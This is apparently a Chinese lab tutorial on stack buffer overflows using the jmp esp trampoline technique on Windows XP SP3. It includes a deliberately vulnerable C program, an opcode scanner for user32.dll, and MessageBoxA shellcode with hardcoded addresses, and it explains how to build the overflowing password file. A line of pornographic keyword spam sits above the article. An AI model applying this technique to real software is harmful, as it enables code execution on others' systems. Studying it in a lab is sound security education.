亚洲乱码一卡二卡四卡乱码新区_亚洲乱码中文字幕小综合_亚洲人成电影在线播放_亚洲性色AV一区二区三区_亚洲一区二区三区影院_亚洲中文字幕久久精品无码A_亚洲中文字幕无码专区_伊人热热久久原色播放WWW_在线观看AV永久免费_最新欧洲大片免费在线,欧美日韩成人三级免费看,久久黄色网址,欧美激情内射喷水高潮

04.棧溢出實驗-引入跳板技術(shù)


一.  實驗環(huán)境:


操作系統(tǒng):Windows XP SP3

開發(fā)環(huán)境:VC++ 6.0

調(diào)試器:Ollydbg


二.  實驗代碼:


棧溢出程序

#include <stdio.h>

#include <windows.h>

#define PASSWORD "1234567"

int verify_password (char *password)

{

    int authenticated;

    char buffer[44];

    authenticated=strcmp(password,PASSWORD);

    strcpy(buffer,password);

    return authenticated;

}

main()

{

    int valid_flag=0;

    char password[1024];

    FILE * fp;

    LoadLibrary("user32.dll");

    if(!(fp=fopen("password.txt","rw+")))

    {

        exit(0);

    }

    fscanf(fp,"%s",password);

    valid_flag = verify_password(password);

    if(valid_flag)

    {

        printf("incorrect password!n");

    }

    else

    {

        printf("Congratulation! You have passed the verification!n");

    }

    fclose(fp);

}


查找OPCODE代碼


#include <windows.h>

#include <stdio.h>

#define DLL_NAME "user32.dll"

main()

{

    BYTE* ptr;

    int position,address;

    HINSTANCE handle;

    BOOL done_flag = FALSE;

    handle=LoadLibrary(DLL_NAME);

    if(!handle)

    {

        printf(" load dll erro !");

        exit(0);

    }

    ptr = (BYTE*)handle;

    for(position = 0; !done_flag; position++)

    {

        try

        {

            if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)

            {

                //0xFFE4 is the opcode of jmp esp

                int address = (int)ptr + position;

                printf("OPCODE found at 0x%xn",address);

            }

        }

        catch(...)

        {

            int address = (int)ptr + position;

            printf("END OF 0x%xn", address);

            done_flag = true;

        }

    }

}


Shellcode提取代碼


#include <windows.h>

int main()

{  

    HINSTANCE LibHandle;

    char dllbuf[11] = "user32.dll";

    LibHandle = LoadLibrary(dllbuf);

    _asm{

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                sub sp,0x440

                xor ebx,ebx

                push ebx // cut string

                push 0x00000072

                push 0x69766B72

                mov eax,esp //load address of rkvir

                push ebx

                push eax

                push eax

                push ebx

                mov  eax, 0x77D507EA//(0x77D507EA) address should be reset in different OS

                call eax  //call MessageboxA

                push ebx

                mov eax,0x7C81CAFA //(0x7C81CAFA) address should be reset in different OS

                call eax //call exit(0)

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

    }

}


三.  實戰(zhàn)調(diào)試


本次實戰(zhàn)著重描述跳板技術(shù)的使用,之所以要引入跳板技術(shù),是因為在實際的漏洞中,,缺陷函數(shù)有可能是動態(tài)加載的DLL,,所以緩沖區(qū)起始位置并不能固定,這意味著我們前幾節(jié)所使用的手工查找緩沖區(qū)位置的方法并不適用于大部分情況,,因此我們需要一種新的技術(shù),,可以有效控制指令可以執(zhí)行到我們需要的位置上。接下來會詳細(xì)描述跳板技術(shù)的應(yīng)用,,使用的溢出代碼與前一節(jié)相同,。


1.   一般情況下,在函數(shù)返回后,,ESP都指向返回地址的下一行


2.   這就意味著,,如果我們把shellcode放在返回地址后面,然后再使返回地址指向返回地址后面一行,,就可以成功執(zhí)行我們的shellcode了,,既然ESP指向這一行,那么我們只需要尋找一個jmp esp指令的地址放到返回地址的位置上就可以了,。這個jmp esp指令最好位于這個溢出程序必然會加載的模塊中,,例如我們現(xiàn)在使用的這個溢出程序加載了user32.dll,那么我們就可以在user32.dll中尋找一個jmp esp,。尋找jmp esp有很多種方法,,例如使用ollydbg的腳本或者windbg的腳本等等。這里我們使用一段代碼來搜索user32的編碼,。就是實驗代碼中提供的查找opcode代碼,。修改圖中紅框的內(nèi)容為自己想要搜索的模塊就可以搜索其他模塊,。

   


3.         我們隨便選擇一個地址,然后還需要通過上一節(jié)查找API入口地址的方法查找MessageBoxA和ExitProcess的地址,。(此方法查找的API入口地址不具備通用性,,動態(tài)查找函數(shù)地址的方法會在后續(xù)詳細(xì)描述。)


4.         獲取到我們需要的所有地址后我們就可以開始構(gòu)造shellcode了,。我們現(xiàn)在暫時還不考慮如何使用高級語言或者匯編語言實現(xiàn)shellcode的編碼,,直接使用實驗代碼,將地址替換成本地地址后編譯成可執(zhí)行程序,,如果可以成功彈框,,并且點擊確定后成功推出程序,就說明本地地址提取的沒有問題,。


5.         接下來使用Ollydbg打開程序,,找到這段代碼,提取出機(jī)器碼,。


6.         接下來構(gòu)造password.txt,,已知緩沖區(qū)長度是44,那么返回地址前面就需要有長度為52的字符串,。這個字符串可以隨便填充,,然后填充jmp esp的地址,注意小端序,。最后把剛剛提取的shellcode粘貼進(jìn)去,。


7.         接下來執(zhí)行溢出程序,成功彈出,,點擊確定后執(zhí)行退出函數(shù)成功,。

?